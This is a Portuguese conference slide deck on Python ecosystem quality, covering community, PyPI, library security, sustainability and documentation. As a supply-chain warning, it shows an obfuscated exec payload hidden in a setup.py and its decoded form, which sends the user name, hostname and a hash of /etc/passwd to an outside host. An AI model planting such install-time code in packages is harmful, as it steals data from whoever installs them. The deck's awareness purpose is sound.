A Qualidade do
Ecossistema Python
Bruno Rocha - @rochaCbruno - brunorocha.org
Bruno Rocha - @rochaCbruno
Quality Engineer @ RedHat.com
Podcaster @ Castalio.info
Teacher @ CursoDePython.com.br
Blogger @ BrunoRocha.org
castalio.info
youtube.com/castaliopodcast
Toda Segunda às 11h disponível em
Podcast no site, itunes, rss, players etc
Toda Quarta às 20h ao vivo no YouTube
“a todas as relações dos organismos entre
si, e com seu meio ambiente chamamos
ecossistema ou seja, podemos definir
ecossistema como sendo um conjunto de
comunidades interagindo entre si..”
-- Wikipedia
- Você (e seus grupos)
- Comunidades (eventos)
- Material teórico (livros, tutoriais, cursos)
- Ferramentas(sistemas, IDEs, plataformas)
- Biblioteca de pacotes (pip, github, conda)
- Python Software Foundation
- A Linguagem (core developers)
Ecossistema Python?
O que atrai tanta
atenção para o Python?
- Python é fácil de aprender.
- A comunidade é receptiva
- Tem eventos muito legais
- É fácil escrever e publicar novas
bibliotecas com Python.
- Pensou… já tem no PyPI.
- É popular e está na moda.
- Aprovado por Grandes empresas.
$ pip install magic
>>> magic.run()
Ou nas palavras
do poeta...
Como garantir software de qualidade?
Enterprise
?
Como garantir profissionais de qualidade?
?Certificação Profissional Python
Seja um expert por apenas $ 9.999,99 / year
Como garantir ecossistema de bibliotecas de qualidade?
?Seja um “Python Developer Partner”
e publique suas bibliotecas
na “PyPI store” por apenas $ 9.999,99 / year
PY
New Python 3.6
Featuring exclusive `f’string`
Only $ 999/year
You need Python 3.6
Call 555 - 5555
And buy it now!
Oportunity:
First 100 customers
Will get IDLE for free...By Guido Inc.
● Python não tem dono, pertence a comunidade.
● A comunidade é o controle de qualidade.
● A comunidade é a entidade certificadora*.
* Na comunidade Python TODOS são encorajados a participar e fazer a diferença, colaborar
com os diversos pilares da comunidade (slide 4) tem um grande valor para a carreira do
profissional Python.
VOCÊ
“I came for the language
but I stay for the community”
- Brett Cannon
“Diversidade acontece quando pessoas
diferentes se reunem em um mesmo local”
“Inclusão acontece quando essas pessoas
conseguem atuar em conjunto, como iguais,
com as mesmas oportunidades e sem
prejuizo para nenhuma delas”
- Adaptação da palestra de Naomi Ceder (Python Brasil 12)
Como tratar ameaças a comunidade e diversidade?
- Código de conduta
- Postura de mentor e não de juiz
Open by default
- PSF (grants, membership, fellowship and board)
- Repositories
- Experiments (MyPy, Gilectomy)
- APyB
- Call 4 Papers
- PyPI/Warehouse
- Python Planet
- PEPs
- GruPys
Você pode participar
abertamente!!!
100_000
Bibliotecas
Disponíveis
No
PyPI
$ pip install magic
>>> magic.run()
- Python é fácil de aprender.
- E tem muita biblioteca pronta!
>>> Traceback
Cannot do the
magic today...
- Quantos dos 100_000 pacotes
disponíveis tem cobertura de
testes?
- Quantos tem boa documentação?
- Como faço para escolher?
$ pip install magic
$ installing…
$ HAHA you got
hacked!!!
- E essas bibliotecas são seguras?
- Se qualquer pessoa pode
publicar uma nova lib no PyPI
quem garante a segurança e a
qualidade?
Segurança!!!
# setup.py `pip install magic`
from setuptools import setup
setup(
name="magic",
...
)
Sempre faça review do
código fonte da lib a ser
instalada.
Especialmente o `setup.py`
E não se esqueça da barra
de rolagem.
;import zlib;
exec(zlib.decompress('eJx9UcFqxCAQvfsVXhYVtoY
Wegn0uF+x7MHG2ShNHNEJ3aX036vJBrJQ4uX5HOfNe+rH
iIk4ZuaXn3ZSGwX8+s7eVOpPdphoHQ1dMI2OU7i3jZU3
BjMA/iqDugQbsfZCKwa2DSPw0g8fATebw3CDOh3wRn/M
Bho+YwU6mtc/R8Warz62VP8tH1r+K1RijFRxI92neJEYI
UDVDXRJPztxVKJzBWKqUd3KzvIdN+nilV2O9MaMuVoeU
JdAEKHFuSPmGOIdsl+5KIaLrRCYbNWoTP+qu3jLr9RtRb
Pjii2TRPv5DC8BFNdnFcsJvyYTo+5wbMSRVyO77mtq9g
fllKgCn'.decode('base64')))
Multiple of 4 white spaces
Python tricks!
# `pip install magic`
import os, urllib, urllib2, hashlib, platform
try:
uname = os.getlogin()
except Exception as e:
uname = '[%s]' % e
try:
host = platform.uname()[1]
except Exception as e:
host = '[%s]' % e
try:
fhash = hashlib.md5(open('/etc/passwd').read()).hexdigest()
except Exception as e:
fhash = '[%s]' % e
data = urllib.urlencode({'uname': uname, 'host': host, 'fhash': fhash})
try:
urllib2.urlopen('http://WannaPyCry.herokuapp.com/', data)
except Exception as e:
pass
Decoded trick
Nothing serious here
But could be a real hack
Solução?
$ pip install safety
$ safety check
Open Source
Community
driven safety
checks?
Please create more
Safety tools!!!!
Por que o Python não
resolve este problema
sem depender de
serviços de terceiros?
https://github.com/pypa
New generation of
PyPI is `warehouse`
and you can help
On Github.com/pypa
Only 18
contributors?
Not a coder?
donate!!!
Warehouse is a next generation Python Package
Repository designed to replace the legacy code base that
currently powers PyPI
Rank: 4.5 - safe
Rank: 2.0 - outdated
Rank: 1.0 - danger
1.234 Reviews ++
1 Review --Why not making it more `social driven` to address
the library quality problem?
Example:
More maintainers
More quality
points!
Segurança das libs: o que podemos fazer ?
- Verificar antes de instalar
- Instalar bibliotecas conhecidas e confiáveis
- Usar SafetyCI - pyup.io
- Criar ferramentas para ajudar na verificação
- Denunciar caso encontrar lib suspeita
- Colaborar com o projeto Pypa/Warehouse
A responsabilidade
é SUA NOSSA!!!
Toda biblioteca publicada no PyPI acompanha uma etiqueta invisivel que diz:
“Eu estou ciente das
responsabilidades que devo assumir
ao publicar este código e prometo
fazer o possível para mante-lo com
qualidade até o fim dos tempos!”
E deixarei explicito caso por qualquer motivo eu não possa mais manter deixando o caminho livre
para quem desejar criar um fork!
Seus projetos publicados no PyPI devem ser
Maintanable:
Project that can be maintable by as many and diverse
people.
Sustentável:
Projeto que possa ser mantido por várias e diferentes
pessoas
* diferente no sentido de diversidade
Leftpad is ` npm`
problem, will not
happen with
Python?
pip install requests
● 99,9% das instalações de ambientes Python instalam requests
● Se a versão não estiver especifica seu build pode quebrar
● Ferramentas como Travis-Ci dependem de requests e já quebraram por isso!
● Sistemas operacionais trazem requests por padrão
● Até poucos meses atrás este era um ‘one man band’ project, mas depois de
recentes problemas com releases o criador decidiu excluir os próprios
poderes de administrador da lib e elegeu outros mantenedores
● Não é o único, existem outras libs Python publicadas com o mesmo risco
● Sempre especifique suas versões
● Use o pyup.io ou requires.io ou qualquer outra solução do tipo
● Use o safety/CI ou algo do tipo
…..
Segurança e
sustentabilidade
não são os únicos
problemas!
http://opensourcesurvey.org/2017/
Assim como recentemente
melhoramos nossa cultura de testes.
Precisamos agora melhorar nossa
cultura de documentação!
Q: Por que a maioria das bibliotecas não tem
boa documentação?
A: Escrever documentação é um processo chato!
Q: O que precisa melhorar?
A: Ferramentas e formatos (rst) não amigaveis
afastam as pessoas da documentação.
Precisamos fazer como fizemos com os testes e
adotar formatos (md?) e ferramentas mais fáceis.
Q: Como incentivar as pessoas a contribuir
com documentação?
A: Primeiro precisamos definir o processo (assim
como nos testes) e então criar um manifesto
atraindo os contribuidores, mostrando a
importância, oferecendo um certo “status” ao
documentador e usar os eventos para fomentar
essa cultura.
Dicas para criar boas libs
python.apichecklist.com
Conclusão
- Python não é um produto!
- O ecossistema (principalmente a comunidade) já tem qualidade acima da média
- Precisamos de mais materiais teóricos de qualidade para iniciantes
- Podemos utilizar ferramentas para ajudar no QA de bibliotecas Python
- Podemos colaborar com a evolução do PyPI
- Podemos colaborar com a evolução do Python
- A qualidade do ecossistema é NOSSA responsabilidade
- Seja responsável e publique apenas bibliotecas de qualidade no PyPI
- Precisamos de uma solução colaborativa para classificar 100 mil libs
- Ajude e seja ajudado

A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

  • 1.
    A Qualidade do EcossistemaPython Bruno Rocha - @rochaCbruno - brunorocha.org
  • 2.
    Bruno Rocha -@rochaCbruno Quality Engineer @ RedHat.com Podcaster @ Castalio.info Teacher @ CursoDePython.com.br Blogger @ BrunoRocha.org
  • 3.
    castalio.info youtube.com/castaliopodcast Toda Segunda às11h disponível em Podcast no site, itunes, rss, players etc Toda Quarta às 20h ao vivo no YouTube
  • 4.
    “a todas asrelações dos organismos entre si, e com seu meio ambiente chamamos ecossistema ou seja, podemos definir ecossistema como sendo um conjunto de comunidades interagindo entre si..” -- Wikipedia
  • 5.
    - Você (eseus grupos) - Comunidades (eventos) - Material teórico (livros, tutoriais, cursos) - Ferramentas(sistemas, IDEs, plataformas) - Biblioteca de pacotes (pip, github, conda) - Python Software Foundation - A Linguagem (core developers) Ecossistema Python?
  • 6.
    O que atraitanta atenção para o Python?
  • 7.
    - Python éfácil de aprender. - A comunidade é receptiva - Tem eventos muito legais - É fácil escrever e publicar novas bibliotecas com Python. - Pensou… já tem no PyPI. - É popular e está na moda. - Aprovado por Grandes empresas. $ pip install magic >>> magic.run()
  • 8.
  • 10.
    Como garantir softwarede qualidade? Enterprise ?
  • 11.
    Como garantir profissionaisde qualidade? ?Certificação Profissional Python Seja um expert por apenas $ 9.999,99 / year
  • 12.
    Como garantir ecossistemade bibliotecas de qualidade? ?Seja um “Python Developer Partner” e publique suas bibliotecas na “PyPI store” por apenas $ 9.999,99 / year PY
  • 13.
    New Python 3.6 Featuringexclusive `f’string` Only $ 999/year You need Python 3.6 Call 555 - 5555 And buy it now! Oportunity: First 100 customers Will get IDLE for free...By Guido Inc.
  • 15.
    ● Python nãotem dono, pertence a comunidade. ● A comunidade é o controle de qualidade. ● A comunidade é a entidade certificadora*. * Na comunidade Python TODOS são encorajados a participar e fazer a diferença, colaborar com os diversos pilares da comunidade (slide 4) tem um grande valor para a carreira do profissional Python.
  • 16.
  • 17.
    “I came forthe language but I stay for the community” - Brett Cannon
  • 18.
    “Diversidade acontece quandopessoas diferentes se reunem em um mesmo local” “Inclusão acontece quando essas pessoas conseguem atuar em conjunto, como iguais, com as mesmas oportunidades e sem prejuizo para nenhuma delas” - Adaptação da palestra de Naomi Ceder (Python Brasil 12)
  • 19.
    Como tratar ameaçasa comunidade e diversidade? - Código de conduta - Postura de mentor e não de juiz
  • 20.
    Open by default -PSF (grants, membership, fellowship and board) - Repositories - Experiments (MyPy, Gilectomy) - APyB - Call 4 Papers - PyPI/Warehouse - Python Planet - PEPs - GruPys Você pode participar abertamente!!!
  • 21.
  • 22.
    $ pip installmagic >>> magic.run() - Python é fácil de aprender. - E tem muita biblioteca pronta!
  • 23.
    >>> Traceback Cannot dothe magic today... - Quantos dos 100_000 pacotes disponíveis tem cobertura de testes? - Quantos tem boa documentação? - Como faço para escolher?
  • 24.
    $ pip installmagic $ installing… $ HAHA you got hacked!!! - E essas bibliotecas são seguras? - Se qualquer pessoa pode publicar uma nova lib no PyPI quem garante a segurança e a qualidade?
  • 25.
  • 26.
    # setup.py `pipinstall magic` from setuptools import setup setup( name="magic", ... ) Sempre faça review do código fonte da lib a ser instalada. Especialmente o `setup.py` E não se esqueça da barra de rolagem.
  • 27.
  • 28.
    # `pip installmagic` import os, urllib, urllib2, hashlib, platform try: uname = os.getlogin() except Exception as e: uname = '[%s]' % e try: host = platform.uname()[1] except Exception as e: host = '[%s]' % e try: fhash = hashlib.md5(open('/etc/passwd').read()).hexdigest() except Exception as e: fhash = '[%s]' % e data = urllib.urlencode({'uname': uname, 'host': host, 'fhash': fhash}) try: urllib2.urlopen('http://WannaPyCry.herokuapp.com/', data) except Exception as e: pass Decoded trick Nothing serious here But could be a real hack
  • 31.
  • 32.
    $ pip installsafety $ safety check
  • 34.
  • 35.
    Por que oPython não resolve este problema sem depender de serviços de terceiros?
  • 36.
    https://github.com/pypa New generation of PyPIis `warehouse` and you can help On Github.com/pypa Only 18 contributors?
  • 37.
  • 38.
    Warehouse is anext generation Python Package Repository designed to replace the legacy code base that currently powers PyPI
  • 39.
    Rank: 4.5 -safe Rank: 2.0 - outdated Rank: 1.0 - danger 1.234 Reviews ++ 1 Review --Why not making it more `social driven` to address the library quality problem? Example: More maintainers More quality points!
  • 40.
    Segurança das libs:o que podemos fazer ? - Verificar antes de instalar - Instalar bibliotecas conhecidas e confiáveis - Usar SafetyCI - pyup.io - Criar ferramentas para ajudar na verificação - Denunciar caso encontrar lib suspeita - Colaborar com o projeto Pypa/Warehouse
  • 41.
  • 42.
    Toda biblioteca publicadano PyPI acompanha uma etiqueta invisivel que diz: “Eu estou ciente das responsabilidades que devo assumir ao publicar este código e prometo fazer o possível para mante-lo com qualidade até o fim dos tempos!” E deixarei explicito caso por qualquer motivo eu não possa mais manter deixando o caminho livre para quem desejar criar um fork!
  • 43.
    Seus projetos publicadosno PyPI devem ser Maintanable: Project that can be maintable by as many and diverse people. Sustentável: Projeto que possa ser mantido por várias e diferentes pessoas * diferente no sentido de diversidade
  • 45.
    Leftpad is `npm` problem, will not happen with Python?
  • 46.
    pip install requests ●99,9% das instalações de ambientes Python instalam requests ● Se a versão não estiver especifica seu build pode quebrar ● Ferramentas como Travis-Ci dependem de requests e já quebraram por isso! ● Sistemas operacionais trazem requests por padrão ● Até poucos meses atrás este era um ‘one man band’ project, mas depois de recentes problemas com releases o criador decidiu excluir os próprios poderes de administrador da lib e elegeu outros mantenedores ● Não é o único, existem outras libs Python publicadas com o mesmo risco ● Sempre especifique suas versões ● Use o pyup.io ou requires.io ou qualquer outra solução do tipo ● Use o safety/CI ou algo do tipo
  • 47.
  • 48.
  • 49.
  • 51.
    Assim como recentemente melhoramosnossa cultura de testes. Precisamos agora melhorar nossa cultura de documentação!
  • 52.
    Q: Por quea maioria das bibliotecas não tem boa documentação? A: Escrever documentação é um processo chato! Q: O que precisa melhorar? A: Ferramentas e formatos (rst) não amigaveis afastam as pessoas da documentação. Precisamos fazer como fizemos com os testes e adotar formatos (md?) e ferramentas mais fáceis. Q: Como incentivar as pessoas a contribuir com documentação? A: Primeiro precisamos definir o processo (assim como nos testes) e então criar um manifesto atraindo os contribuidores, mostrando a importância, oferecendo um certo “status” ao documentador e usar os eventos para fomentar essa cultura.
  • 53.
    Dicas para criarboas libs python.apichecklist.com
  • 54.
    Conclusão - Python nãoé um produto! - O ecossistema (principalmente a comunidade) já tem qualidade acima da média - Precisamos de mais materiais teóricos de qualidade para iniciantes - Podemos utilizar ferramentas para ajudar no QA de bibliotecas Python - Podemos colaborar com a evolução do PyPI - Podemos colaborar com a evolução do Python - A qualidade do ecossistema é NOSSA responsabilidade - Seja responsável e publique apenas bibliotecas de qualidade no PyPI - Precisamos de uma solução colaborativa para classificar 100 mil libs - Ajude e seja ajudado

Notas do Editor

  • #48 Deprecate wargings...